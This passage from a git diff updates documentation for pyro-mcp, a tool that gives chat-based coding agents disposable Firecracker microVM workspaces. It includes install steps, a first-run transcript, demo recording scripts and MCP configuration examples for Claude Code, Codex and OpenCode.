environment="debian:12", - vcpu_count=1, - mem_mib=1024, - ttl_seconds=600, - network=True, -) -vm_id = created["vm_id"] -pyro.start_vm(vm_id) -result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30) -print(result["stdout"]) -``` - -Environment management is also available through the SDK: - -```python -from pyro_mcp import Pyro - -pyro = Pyro() -print(pyro.list_environments()) -print(pyro.inspect_environment("debian:12")) -``` - -## MCP Tools - -Primary agent-facing tool: - -- `vm_run(environment, command, vcpu_count, mem_mib, timeout_seconds=30, ttl_seconds=600, network=false)` - -Advanced lifecycle tools: - -- `vm_list_environments()` -- `vm_create(environment, vcpu_count, mem_mib, ttl_seconds=600, network=false)` -- `vm_start(vm_id)` -- `vm_exec(vm_id, command, timeout_seconds=30)` -- `vm_stop(vm_id)` -- `vm_delete(vm_id)` -- `vm_status(vm_id)` -- `vm_network_info(vm_id)` -- `vm_reap_expired()` - -## Integration Examples - -- Python one-shot SDK example: [examples/python_run.py](examples/python_run.py) -- Python lifecycle example: [examples/python_lifecycle.py](examples/python_lifecycle.py) -- MCP client config example: [examples/mcp_client_config.md](examples/mcp_client_config.md) -- Claude Desktop MCP config: [examples/claude_desktop_mcp_config.json](examples/claude_desktop_mcp_config.json) -- Cursor MCP config: [examples/cursor_mcp_config.json](examples/cursor_mcp_config.json) -- OpenAI Responses API example: [examples/openai_responses_vm_run.py](examples/openai_responses_vm_run.py) -- LangChain wrapper example: [examples/langchain_vm_run.py](examples/langchain_vm_run.py) -- Agent-ready `vm_run` example: [examples/agent_vm_run.py](examples/agent_vm_run.py) - -## Runtime - -The package ships an embedded Linux x86_64 runtime payload with: - -- Firecracker -- Jailer -- guest agent -- runtime manifest and diagnostics - -No system Firecracker installation is required. -`pyro` installs curated environments into a local cache and reports their status through `pyro env inspect` and `pyro doctor`. +The embedded Firecracker runtime ships with the package. Official environments +are pulled as OCI artifacts from public Docker Hub into a local cache on first +use or through `pyro env pull`. End users do not need registry credentials to +pull or run the official environments. ## Contributor Workflow @@ -192,11 +275,14 @@ make check make dist-check ``` -Contributor runtime source artifacts are still maintained under `src/pyro_mcp/runtime_bundle/` and `runtime_sources/`. +Contributor runtime sources live under `runtime_sources/`. The packaged runtime +bundle under `src/pyro_mcp/runtime_bundle/` contains the embedded boot/runtime +assets plus manifest metadata. End-user environment installs pull +OCI-published environments by default. Use +`PYRO_RUNTIME_BUNDLE_DIR=build/runtime_bundle` only when you are explicitly +validating a locally built contributor runtime bundle. -Official environment publication is automated through -`.github/workflows/publish-environments.yml`. -For a local publish against Docker Hub: +Official environment publication is performed locally against Docker Hub: ```bash export DOCKERHUB_USERNAME='your-dockerhub-username' @@ -205,20 +291,9 @@ make runtime-materialize make runtime-publish-official-environments-oci ``` -`make runtime-publish-environment-oci` auto-exports the OCI layout for the selected -environment if it is missing. -The publisher accepts either `DOCKERHUB_USERNAME` and `DOCKERHUB_TOKEN` or -`OCI_REGISTRY_USERNAME` and `OCI_REGISTRY_PASSWORD`. -Docker Hub uploads are chunked by default for large rootfs layers; if you need to tune a slow -link, use `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and -`PYRO_OCI_REQUEST_TIMEOUT_SECONDS`. - For a local PyPI publish: ```bash export TWINE_PASSWORD='pypi-...' make pypi-publish ``` - -`make pypi-publish` defaults `TWINE_USERNAME` to `__token__`. -Set `PYPI_REPOSITORY_URL=https://test.pypi.org/legacy/` to publish to TestPyPI instead. diff --git a/docs/assets/first-run.gif b/docs/assets/first-run.gif new file mode 100644 index 0000000..981e11d Binary files /dev/null and b/docs/assets/first-run.gif differ diff --git a/docs/assets/first-run.tape b/docs/assets/first-run.tape new file mode 100644 index 0000000..ce6ea1e --- /dev/null +++ b/docs/assets/first-run.tape @@ -0,0 +1,44 @@ +Output docs/assets/first-run.gif + +Require uv + +Set Shell "zsh" +Set FontSize 18 +Set Width 1200 +Set Height 760 +Set Theme "Dracula" +Set TypingSpeed 35ms +Set Padding 24 +Set WindowBar Colorful + +Hide +Type "cd /home/thales/projects/personal/pyro" +Enter +Type "export UV_CACHE_DIR=.uv-cache" +Enter +Type "export PYRO_ENVIRONMENT_CACHE_DIR=$(mktemp -d)" +Enter +Type "uvx --from pyro-mcp pyro --version >/dev/null" +Enter +Show + +Type "# Check that the host can boot and run guests" +Enter +Sleep 700ms +Type "uvx --from pyro-mcp pyro doctor" +Enter +Sleep 2200ms + +Type "# Pull the default environment into a fresh local cache" +Enter +Sleep 700ms +Type "uvx --from pyro-mcp pyro env pull debian:12" +Enter +Sleep 2200ms + +Type "# Run one isolated command inside an ephemeral microVM" +Enter +Sleep 700ms +Type "uvx --from pyro-mcp pyro run debian:12 -- git --version" +Enter +Sleep 2600ms diff --git a/docs/assets/workspace-first-run.gif b/docs/assets/workspace-first-run.gif new file mode 100644 index 0000000..9894832 Binary files /dev/null and b/docs/assets/workspace-first-run.gif differ diff --git a/docs/assets/workspace-first-run.tape b/docs/assets/workspace-first-run.tape new file mode 100644 index 0000000..df33f48 --- /dev/null +++ b/docs/assets/workspace-first-run.tape @@ -0,0 +1,104 @@ +Output docs/assets/workspace-first-run.gif + +Require uv +Require python3 + +Set Shell "zsh" +Set FontSize 18 +Set Width 1480 +Set Height 900 +Set Theme "Dracula" +Set TypingSpeed 34ms +Set Padding 24 +Set WindowBar Colorful + +Hide +Type "cd /home/thales/projects/personal/pyro" +Enter +Type "setopt interactivecomments" +Enter +Type "export UV_CACHE_DIR=.uv-cache" +Enter +Type "export PYRO_ENVIRONMENT_CACHE_DIR=$(mktemp -d)" +Enter +Type "alias pyro='uv run pyro'" +Enter +Type "SEED_DIR=$(mktemp -d)" +Enter +Type "EXPORT_DIR=$(mktemp -d)" +Enter +Type 'printf "%s\n" "hello from seed" > "$SEED_DIR/note.txt"' +Enter +Type 'printf "%s\n" "--- a/note.txt" "+++ b/note.txt" "@@ -1 +1 @@" "-hello from seed" "+hello from patch" > "$SEED_DIR/fix.patch"' +Enter +Type 'printf "%s\n" "temporary drift" > "$SEED_DIR/drift.txt"' +Enter +Type "pyro env pull debian:12 >/dev/null" +Enter +Show + +Type "# Create a named workspace from host content" +Enter +Sleep 700ms +Type 'WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path "$SEED_DIR" --name repro-fix --label issue=123 --id-only)"' +Enter +Sleep 500ms +Type 'echo "$WORKSPACE_ID"' +Enter +Sleep 1600ms + +Type "# Inspect the seeded file, then patch it without shell quoting" +Enter +Sleep 700ms +Type 'pyro workspace file read "$WORKSPACE_ID" note.txt --content-only' +Enter +Sleep 1400ms +Type 'pyro workspace patch apply "$WORKSPACE_ID" --patch-file "$SEED_DIR/fix.patch"' +Enter +Sleep 1800ms +Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt' +Enter +Sleep 1800ms + +Type "# Capture a checkpoint, then drift away from it" +Enter +Sleep 700ms +Type 'pyro workspace snapshot create "$WORKSPACE_ID" checkpoint' +Enter +Sleep 1600ms +Type 'pyro workspace file write "$WORKSPACE_ID" note.txt --text-file "$SEED_DIR/drift.txt"' +Enter +Sleep 1800ms +Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt' +Enter +Sleep 1800ms + +Type "# Start one service, then reset the whole sandbox to the checkpoint" +Enter +Sleep 700ms +Type 'pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc "touch .web-ready && while true; do sleep 60; done"' +Enter +Sleep 2200ms +Type 'pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint' +Enter +Sleep 2200ms +Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt' +Enter +Sleep 1800ms + +Type "# Export the recovered file back to the host" +Enter +Sleep 700ms +Type 'pyro workspace export "$WORKSPACE_ID" note.txt --output "$EXPORT_DIR/note.txt"' +Enter +Sleep 1800ms +Type 'cat "$EXPORT_DIR/note.txt"' +Enter +Sleep 1600ms + +Type "# Remove the workspace when the loop is done" +Enter +Sleep 700ms +Type 'pyro workspace delete "$WORKSPACE_ID"' +Enter +Sleep 2000ms diff --git a/docs/first-run.md b/docs/first-run.md new file mode 100644 index 0000000..04af501 --- /dev/null +++ b/docs/first-run.md @@ -0,0 +1,232 @@ +# First Run Transcript + +This is the intended evaluator-to-chat-host path for a first successful run on +a supported host. + +Copy the commands as-is. Paths and timing values will differ on your machine. +The same sequence works with an installed `pyro` binary by dropping the +`uvx --from pyro-mcp` prefix. If you are running from a source checkout +instead of the published package, replace `pyro` with `uv run pyro`. + +`pyro-mcp` currently has no users. Expect breaking changes while the chat-host +path is still being shaped. + +## 1. Verify the host + +```bash +$ uvx --from pyro-mcp pyro doctor --environment debian:12 +Platform: linux-x86_64 +Runtime: PASS +KVM: exists=yes readable=yes writable=yes +Environment cache: /home/you/.cache/pyro-mcp/environments +Catalog version: 4.5.0 +Capabilities: vm_boot=yes guest_exec=yes guest_network=yes +Networking: tun=yes ip_forward=yes +Daily loop: COLD (debian:12) + Run: pyro prepare debian:12 +``` + +## 2. Inspect the catalog + +```bash +$ uvx --from pyro-mcp pyro env list +Catalog version: 4.4.0 +debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. +debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. +debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. +``` + +## 3. Pull the default environment + +The first pull downloads an OCI environment from public Docker Hub, requires +outbound HTTPS access to `registry-1.docker.io`, and needs local cache space +for the guest image. See [host-requirements.md](host-requirements.md) for the +full host requirements. + +```bash +$ uvx --from pyro-mcp pyro env pull debian:12 +[pull] phase=install environment=debian:12 +[pull] phase=ready environment=debian:12 +Pulled: debian:12 +Version: 1.0.0 +Distribution: debian 12 +Installed: yes +Cache dir: /home/you/.cache/pyro-mcp/environments +Default packages: bash, coreutils, git +Install dir: /home/you/.cache/pyro-mcp/environments/linux-x86_64/debian_12-1.0.0 +OCI source: registry-1.docker.io/thalesmaciel/pyro-environment-debian-12:1.0.0 +``` + +## 4. Run one command in a guest + +```bash +$ uvx --from pyro-mcp pyro run debian:12 -- git --version +[run] phase=create environment=debian:12 +[run] phase=start vm_id=... +[run] phase=execute vm_id=... +[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... +git version ... +``` + +The guest command output and the `[run] ...` summary are written to different +streams, so they may appear in either order in terminals or capture tools. Use +`--json` if you need a deterministic structured result. + +## 5. Start the MCP server + +Warm the daily loop first so the host is already ready for repeated create and +reset cycles: + +```bash +$ uvx --from pyro-mcp pyro prepare debian:12 +Prepare: debian:12 +Daily loop: WARM +Result: prepared network_prepared=no +``` + +Use a named mode when one workflow already matches the job: + +```bash +$ uvx --from pyro-mcp pyro mcp serve --mode repro-fix +$ uvx --from pyro-mcp pyro mcp serve --mode inspect +$ uvx --from pyro-mcp pyro mcp serve --mode cold-start +$ uvx --from pyro-mcp pyro mcp serve --mode review-eval +``` + +Use the generic no-mode path when the mode feels too narrow. Bare +`pyro mcp serve` still starts `workspace-core`. From a repo root, it also +auto-detects the current Git checkout so the first `workspace_create` can omit +`seed_path`: + +```bash +$ uvx --from pyro-mcp pyro mcp serve +``` + +If the host does not preserve the server working directory: + +```bash +$ uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo +``` + +If you are outside a local checkout: + +```bash +$ uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git +``` + +## 6. Connect a chat host + +Use the helper flow first: + +```bash +$ uvx --from pyro-mcp pyro host connect codex --mode repro-fix +$ uvx --from pyro-mcp pyro host connect codex --mode inspect +$ uvx --from pyro-mcp pyro host connect claude-code --mode cold-start +$ uvx --from pyro-mcp pyro host connect claude-code --mode review-eval +$ uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix +``` + +If setup drifts later: + +```bash +$ uvx --from pyro-mcp pyro host doctor +$ uvx --from pyro-mcp pyro host repair claude-code +$ uvx --from pyro-mcp pyro host repair codex +$ uvx --from pyro-mcp pyro host repair opencode +``` + +Claude Code cold-start or review-eval: + +```bash +$ uvx --from pyro-mcp pyro host connect claude-code --mode cold-start +$ claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start +$ claude mcp list +``` + +Codex repro-fix or inspect: + +```bash +$ uvx --from pyro-mcp pyro host connect codex --mode repro-fix +$ codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix +$ codex mcp list +``` + +OpenCode uses the local config shape shown in: + +- [opencode_mcp_config.json](../examples/opencode_mcp_config.json) + +Other host-specific references: + +- [claude_code_mcp.md](../examples/claude_code_mcp.md) +- [codex_mcp.md](../examples/codex_mcp.md) +- [mcp_client_config.md](../examples/mcp_client_config.md) + +## 7. Continue into a real workflow + +Once the host is connected, move to one of the five recipe docs in +[use-cases/README.md](use-cases/README.md). + +The shortest chat-first mode and story is: + +- [use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md) + +If you want terminal-level visibility into what the agent gets, use the manual +workspace flow below: + +```bash +$ export WORKSPACE_ID="$(uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)" +$ uvx --from pyro-mcp pyro workspace list +$ uvx --from pyro-mcp pyro workspace sync push "$WORKSPACE_ID" ./changes +$ uvx --from pyro-mcp pyro workspace file read "$WORKSPACE_ID" note.txt --content-only +$ uvx --from pyro-mcp pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch +$ uvx --from pyro-mcp pyro workspace exec "$WORKSPACE_ID" -- cat note.txt +$ uvx --from pyro-mcp pyro workspace summary "$WORKSPACE_ID" +$ uvx --from pyro-mcp pyro workspace snapshot create "$WORKSPACE_ID" checkpoint +$ uvx --from pyro-mcp pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint +$ uvx --from pyro-mcp pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt +$ uvx --from pyro-mcp pyro workspace delete "$WORKSPACE_ID" +``` + +Move to the generic no-mode path when the named mode is too narrow. Move to +`--profile workspace-full` only when the chat really needs shells, services, +snapshots, secrets, network policy, or disk tools. + +## 8. Trust the smoke pack + +The repo now treats the full smoke pack as the trustworthy guest-backed +verification path for the advertised workflows: + +```bash +$ make smoke-use-cases +``` + +That runner creates real guest-backed workspaces, exercises all five documented +stories, exports concrete results where relevant, and cleans up on both success +and failure. + +For the machine-level warmup plus retry story specifically: + +```bash +$ make smoke-daily-loop +``` + +## 9. Optional one-shot demo + +```bash +$ uvx --from pyro-mcp pyro demo +{ + "cleanup": { + "deleted": true, + "reason": "post_exec_cleanup", + "vm_id": "..." + }, + "command": "git --version", + "environment": "debian:12", + "execution_mode": "guest_vsock", + "exit_code": 0, + "stdout": "git version ...\n" +} +``` + +`pyro demo` proves the one-shot create/start/exec/delete VM lifecycle works end +to end. diff --git a/docs/host-requirements.md b/docs/host-requirements.md index 81d0754..132d74e 100644 --- a/docs/host-requirements.md +++ b/docs/host-requirements.md @@ -25,7 +25,19 @@ The current implementation uses `sudo -n` for host networking commands when a ne pyro doctor ``` -Check these fields in the output: +In the default human-readable output, check: + +- `Runtime: PASS` +- `KVM: exists=yes readable=yes writable=yes` +- `Networking: tun=yes ip_forward=yes` + +If you need the raw structured fields instead: + +```bash +pyro doctor --json +``` + +Check: - `runtime_ok` - `kvm` diff --git a/docs/install.md b/docs/install.md index 068d44a..c809a35 100644 --- a/docs/install.md +++ b/docs/install.md @@ -1,56 +1,312 @@ # Install -## Requirements +`pyro-mcp` is built for chat-based coding agents on Linux `x86_64` with KVM. +This document is intentionally biased toward that path. -- Linux x86_64 host -- Python 3.12+ +`pyro-mcp` currently has no users. Expect breaking changes while the chat-host +flow is still being shaped. + +## Support Matrix + +Supported today: + +- Linux `x86_64` +- Python `3.12+` - `uv` - `/dev/kvm` -If you want outbound guest networking: +Optional for outbound guest networking: - `ip` - `nft` or `iptables` - privilege to create TAP devices and configure NAT -## Fastest Start +Not supported today: -Run the MCP server directly from the package without a manual install: +- macOS +- Windows +- Linux hosts without working KVM at `/dev/kvm` + +If you do not already have `uv`, install it first: ```bash -uvx --from pyro-mcp pyro mcp serve +python -m pip install uv ``` -Prefetch the default official environment: +Use these command forms consistently: + +- published package without install: `uvx --from pyro-mcp pyro ...` +- installed package: `pyro ...` +- source checkout: `uv run pyro ...` + +## Fastest Evaluation Path + +Use either of these equivalent evaluator paths: ```bash -uvx --from pyro-mcp pyro env pull debian:12 +# Package without install +uvx --from pyro-mcp pyro doctor +uvx --from pyro-mcp pyro prepare debian:12 +uvx --from pyro-mcp pyro run debian:12 -- git --version ``` -Run one command in a curated environment: - ```bash -uvx --from pyro-mcp pyro run debian:12 --vcpu-count 1 --mem-mib 1024 -- git --version +# Already installed +pyro doctor +pyro prepare debian:12 +pyro run debian:12 -- git --version ``` -Inspect the official environment catalog: +If you are running from a repo checkout instead, replace `pyro` with +`uv run pyro`. + +After that one-shot proof works, the intended next step is a warmed daily loop +plus a named chat mode through `pyro host connect` or `pyro host print-config`. + +## 1. Check the host + +```bash +uvx --from pyro-mcp pyro doctor --environment debian:12 +``` + +Expected success signals: + +```bash +Platform: linux-x86_64 +Runtime: PASS +KVM: exists=yes readable=yes writable=yes +Environment cache: /home/you/.cache/pyro-mcp/environments +Catalog version: 4.5.0 +Capabilities: vm_boot=yes guest_exec=yes guest_network=yes +Networking: tun=yes ip_forward=yes +Daily loop: COLD (debian:12) + Run: pyro prepare debian:12 +``` + +If `Runtime: FAIL`, stop here and use [troubleshooting.md](troubleshooting.md). + +## 2. Inspect the catalog ```bash uvx --from pyro-mcp pyro env list ``` +Expected output: + +```bash +Catalog version: 4.4.0 +debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. +debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. +debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. +``` + +## 3. Pull the default environment + +```bash +uvx --from pyro-mcp pyro env pull debian:12 +``` + +The first pull downloads an OCI environment from public Docker Hub, requires +outbound HTTPS access to `registry-1.docker.io`, and needs local cache space +for the guest image. See [host-requirements.md](host-requirements.md) for the +full host requirements. + +Expected success signals: + +```bash +[pull] phase=install environment=debian:12 +[pull] phase=ready environment=debian:12 +Pulled: debian:12 +... +``` + +## 4. Run one command in a guest + +```bash +uvx --from pyro-mcp pyro run debian:12 -- git --version +``` + +Expected success signals: + +```bash +[run] phase=create environment=debian:12 +[run] phase=start vm_id=... +[run] phase=execute vm_id=... +[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... +git version ... +``` + +The guest command output and the `[run] ...` summary are written to different +streams, so they may appear in either order. Use `--json` if you need a +deterministic structured result. + +## 5. Warm the daily loop + +```bash +uvx --from pyro-mcp pyro prepare debian:12 +``` + +That one command ensures the environment is installed, proves one guest-backed +create/exec/reset/delete loop, and records a warm manifest so the next +`pyro prepare debian:12` call can reuse it instead of repeating the full cycle. + +## 6. Connect a chat host + +Use the helper flow first: + +```bash +uvx --from pyro-mcp pyro host connect codex --mode repro-fix +uvx --from pyro-mcp pyro host connect codex --mode inspect +uvx --from pyro-mcp pyro host connect claude-code --mode cold-start +uvx --from pyro-mcp pyro host connect claude-code --mode review-eval +uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix +``` + +If setup drifts later, inspect and repair it with: + +```bash +uvx --from pyro-mcp pyro host doctor +uvx --from pyro-mcp pyro host repair claude-code +uvx --from pyro-mcp pyro host repair codex +uvx --from pyro-mcp pyro host repair opencode +``` + +Use a named mode when one workflow already matches the job: + +```bash +uvx --from pyro-mcp pyro mcp serve --mode repro-fix +uvx --from pyro-mcp pyro mcp serve --mode inspect +uvx --from pyro-mcp pyro mcp serve --mode cold-start +uvx --from pyro-mcp pyro mcp serve --mode review-eval +``` + +Use the generic no-mode path when the mode feels too narrow. Bare +`pyro mcp serve` still starts `workspace-core`. From a repo root, it also +auto-detects the current Git checkout so the first `workspace_create` can omit +`seed_path`. + +```bash +uvx --from pyro-mcp pyro mcp serve +``` + +If the host does not preserve the server working directory, use: + +```bash +uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo +``` + +If you are starting outside a local checkout, use a clean clone source: + +```bash +uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git +``` + +Copy-paste host-specific starts: + +- Claude Code setup: [claude_code_mcp.md](../examples/claude_code_mcp.md) +- Codex setup: [codex_mcp.md](../examples/codex_mcp.md) +- OpenCode config: [opencode_mcp_config.json](../examples/opencode_mcp_config.json) +- Generic MCP fallback: [mcp_client_config.md](../examples/mcp_client_config.md) + +Claude Code cold-start or review-eval: + +```bash +pyro host connect claude-code --mode cold-start +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start +``` + +Codex repro-fix or inspect: + +```bash +pyro host connect codex --mode repro-fix +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix +``` + +OpenCode uses the `mcp` / `type: "local"` config shape shown in +[opencode_mcp_config.json](../examples/opencode_mcp_config.json). + +If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with +`pyro` in the same command or config shape. + +Use the generic no-mode path when the named mode is too narrow. Move to +`--profile workspace-full` only when the chat truly needs shells, services, +snapshots, secrets, network policy, or disk tools. + +## 7. Go from zero to hero + +The intended user journey is: + +1. validate the host with `pyro doctor --environment debian:12` +2. warm the machine with `pyro prepare debian:12` +3. prove guest execution with `pyro run debian:12 -- git --version` +4. connect Claude Code, Codex, or OpenCode with one named mode such as + `pyro host connect codex --mode repro-fix`, then use raw + `pyro mcp serve --mode ...` or the generic no-mode path when needed +5. use `workspace reset` as the normal retry step inside that warmed loop +6. start with one use-case recipe from [use-cases/README.md](use-cases/README.md) +7. trust but verify with `make smoke-use-cases` + +If you want the shortest chat-first story, start with +[use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md). + +## 8. Manual terminal workspace flow + +If you want to inspect the workspace model directly from the terminal, use the +companion flow below. This is for understanding and debugging the chat-host +product, not the primary story. + +```bash +uv tool install pyro-mcp +WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)" +pyro workspace list +pyro workspace update "$WORKSPACE_ID" --label owner=codex +pyro workspace sync push "$WORKSPACE_ID" ./changes +pyro workspace file read "$WORKSPACE_ID" note.txt --content-only +pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch +pyro workspace exec "$WORKSPACE_ID" -- cat note.txt +pyro workspace summary "$WORKSPACE_ID" +pyro workspace snapshot create "$WORKSPACE_ID" checkpoint +pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint +pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt +pyro workspace delete "$WORKSPACE_ID" +``` + +When you need deeper debugging or richer recipes, add: + +- `pyro workspace shell *` for interactive PTY state +- `pyro workspace service *` for long-running processes and readiness probes +- `pyro workspace create --network-policy egress+published-ports` plus + `workspace service start --publish` for host-probed services +- `pyro workspace create --secret` and `--secret-file` when the sandbox needs + private tokens +- `pyro workspace stop` plus `workspace disk *` for offline inspection + +## 9. Trustworthy verification path + +The five recipe docs in [use-cases/README.md](use-cases/README.md) are backed +by a real Firecracker smoke pack: + +```bash +make smoke-use-cases +``` + +Treat that smoke pack as the trustworthy guest-backed verification path for the +advertised chat-host workflows. + ## Installed CLI +If you already installed the package, the same path works with plain `pyro ...`: + ```bash uv tool install pyro-mcp pyro --version -pyro env list -pyro env pull debian:12 -pyro env inspect debian:12 -pyro doctor +pyro doctor --environment debian:12 +pyro prepare debian:12 +pyro run debian:12 -- git --version +pyro mcp serve ``` -## Contributor Clone +## Contributor clone ```bash git lfs install diff --git a/docs/integrations.md b/docs/integrations.md index 31398c9..4974302 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -1,99 +1,257 @@ -# Integration Targets +# Chat Host Integrations -These are the main ways to integrate `pyro-mcp` into an LLM application. +This page documents the intended product path for `pyro-mcp`: -## Recommended Default +- validate the host with the CLI +- warm the daily loop with `pyro prepare debian:12` +- run `pyro mcp serve` +- connect a chat host +- let the agent work inside disposable workspaces -Use `vm_run` first. +`pyro-mcp` currently has no users. Expect breaking changes while this chat-host +path is still being shaped. -That keeps the model-facing contract small: +Use this page after you have already validated the host and guest execution +through [install.md](install.md) or [first-run.md](first-run.md). -- one tool -- one command -- one ephemeral VM -- automatic cleanup +Recommended first commands before connecting a host: -Only move to lifecycle tools when the agent truly needs VM state across multiple calls. +```bash +pyro doctor --environment debian:12 +pyro prepare debian:12 +``` -## OpenAI Responses API +## Recommended Modes -Best when: +Use a named mode when one workflow already matches the job: -- your agent already uses OpenAI models directly -- you want a normal tool-calling loop instead of MCP transport -- you want the smallest amount of integration code +```bash +pyro host connect codex --mode repro-fix +pyro host connect codex --mode inspect +pyro host connect claude-code --mode cold-start +pyro host connect claude-code --mode review-eval +``` -Recommended surface: +The mode-backed raw server forms are: -- `vm_run` +```bash +pyro mcp serve --mode repro-fix +pyro mcp serve --mode inspect +pyro mcp serve --mode cold-start +pyro mcp serve --mode review-eval +``` -Canonical example: +Use the generic no-mode path only when the named mode feels too narrow. -- [examples/openai_responses_vm_run.py](../examples/openai_responses_vm_run.py) +## Generic Default -## MCP Clients +Bare `pyro mcp serve` starts `workspace-core`. From a repo root, it also +auto-detects the current Git checkout so the first `workspace_create` can omit +`seed_path`. That is the product path. -Best when: +```bash +pyro mcp serve +``` -- your host application already supports MCP -- you want `pyro` to run as an external stdio server -- you want tool schemas to be discovered directly from the server +If the host does not preserve cwd, fall back to: -Recommended entrypoint: +```bash +pyro mcp serve --project-path /abs/path/to/repo +``` -- `pyro mcp serve` +If you are outside a repo checkout entirely, start from a clean clone source: -Starter config: +```bash +pyro mcp serve --repo-url https://github.com/example/project.git +``` -- [examples/mcp_client_config.md](../examples/mcp_client_config.md) -- [examples/claude_desktop_mcp_config.json](../examples/claude_desktop_mcp_config.json) -- [examples/cursor_mcp_config.json](../examples/cursor_mcp_config.json) +Use `--profile workspace-full` only when the chat truly needs shells, services, +snapshots, secrets, network policy, or disk tools. -## Direct Python SDK +## Helper First -Best when: +Use the helper flow before the raw host CLI commands: -- your application owns orchestration itself -- you do not need MCP transport -- you want direct access to `Pyro` +```bash +pyro host connect codex --mode repro-fix +pyro host connect codex --mode inspect +pyro host connect claude-code --mode cold-start +pyro host connect claude-code --mode review-eval +pyro host print-config opencode --mode repro-fix +pyro host doctor +pyro host repair opencode +``` -Recommended default: +These helpers wrap the same `pyro mcp serve` entrypoint, make named modes the +first user-facing story, and still leave the generic no-mode path available +when a mode is too narrow. -- `Pyro.run_in_vm(...)` +## Claude Code -Examples: +Preferred: -- [examples/python_run.py](../examples/python_run.py) -- [examples/python_lifecycle.py](../examples/python_lifecycle.py) +```bash +pyro host connect claude-code --mode cold-start +``` -## Agent Framework Wrappers +Repair: -Examples: +```bash +pyro host repair claude-code +``` -- LangChain tools -- PydanticAI tools -- custom in-house orchestration layers +Package without install: -Best when: +```bash +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start +claude mcp list +``` -- you already have an application framework that expects a Python callable tool -- you want to wrap `vm_run` behind framework-specific abstractions +If Claude Code launches the server from an unexpected cwd, use: -Recommended pattern: +```bash +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start --project-path /abs/path/to/repo +``` -- keep the framework wrapper thin -- map framework tool input directly onto `vm_run` -- avoid exposing lifecycle tools unless the framework truly needs them +Already installed: -Concrete example: +```bash +claude mcp add pyro -- pyro mcp serve +claude mcp list +``` -- [examples/langchain_vm_run.py](../examples/langchain_vm_run.py) +Reference: -## Selection Rule +- [claude_code_mcp.md](../examples/claude_code_mcp.md) -Choose the narrowest integration that matches the host environment: +## Codex -1. OpenAI Responses API if you want a direct provider tool loop. -2. MCP if your host already speaks MCP. -3. Python SDK if you own orchestration and do not need transport. -4. Framework wrappers only as thin adapters over the same `vm_run` contract. +Preferred: + +```bash +pyro host connect codex --mode repro-fix +``` + +Repair: + +```bash +pyro host repair codex +``` + +Package without install: + +```bash +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix +codex mcp list +``` + +If Codex launches the server from an unexpected cwd, use: + +```bash +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix --project-path /abs/path/to/repo +``` + +Already installed: + +```bash +codex mcp add pyro -- pyro mcp serve +codex mcp list +``` + +Reference: + +- [codex_mcp.md](../examples/codex_mcp.md) + +## OpenCode + +Preferred: + +```bash +pyro host print-config opencode +pyro host repair opencode +``` + +Use the local MCP config shape from: + +- [opencode_mcp_config.json](../examples/opencode_mcp_config.json) + +Minimal `opencode.json` snippet: + +```json +{ + "mcp": { + "pyro": { + "type": "local", + "enabled": true, + "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"] + } + } +} +``` + +If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with +`pyro` in the same config shape. + +If OpenCode launches the server from an unexpected cwd, add +`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same command +array. + +## Generic MCP Fallback + +Use this only when the host expects a plain `mcpServers` JSON config, when the +named modes are too narrow, and when it does not already have a dedicated +example in the repo: + +- [mcp_client_config.md](../examples/mcp_client_config.md) + +Generic `mcpServers` shape: + +```json +{ + "mcpServers": { + "pyro": { + "command": "uvx", + "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"] + } + } +} +``` + +## When To Use `workspace-full` + +Stay on bare `pyro mcp serve` unless the chat host truly needs: + +- persistent PTY shell sessions +- long-running services and readiness probes +- secrets +- guest networking and published ports +- stopped-workspace disk inspection or raw ext4 export + +When that is 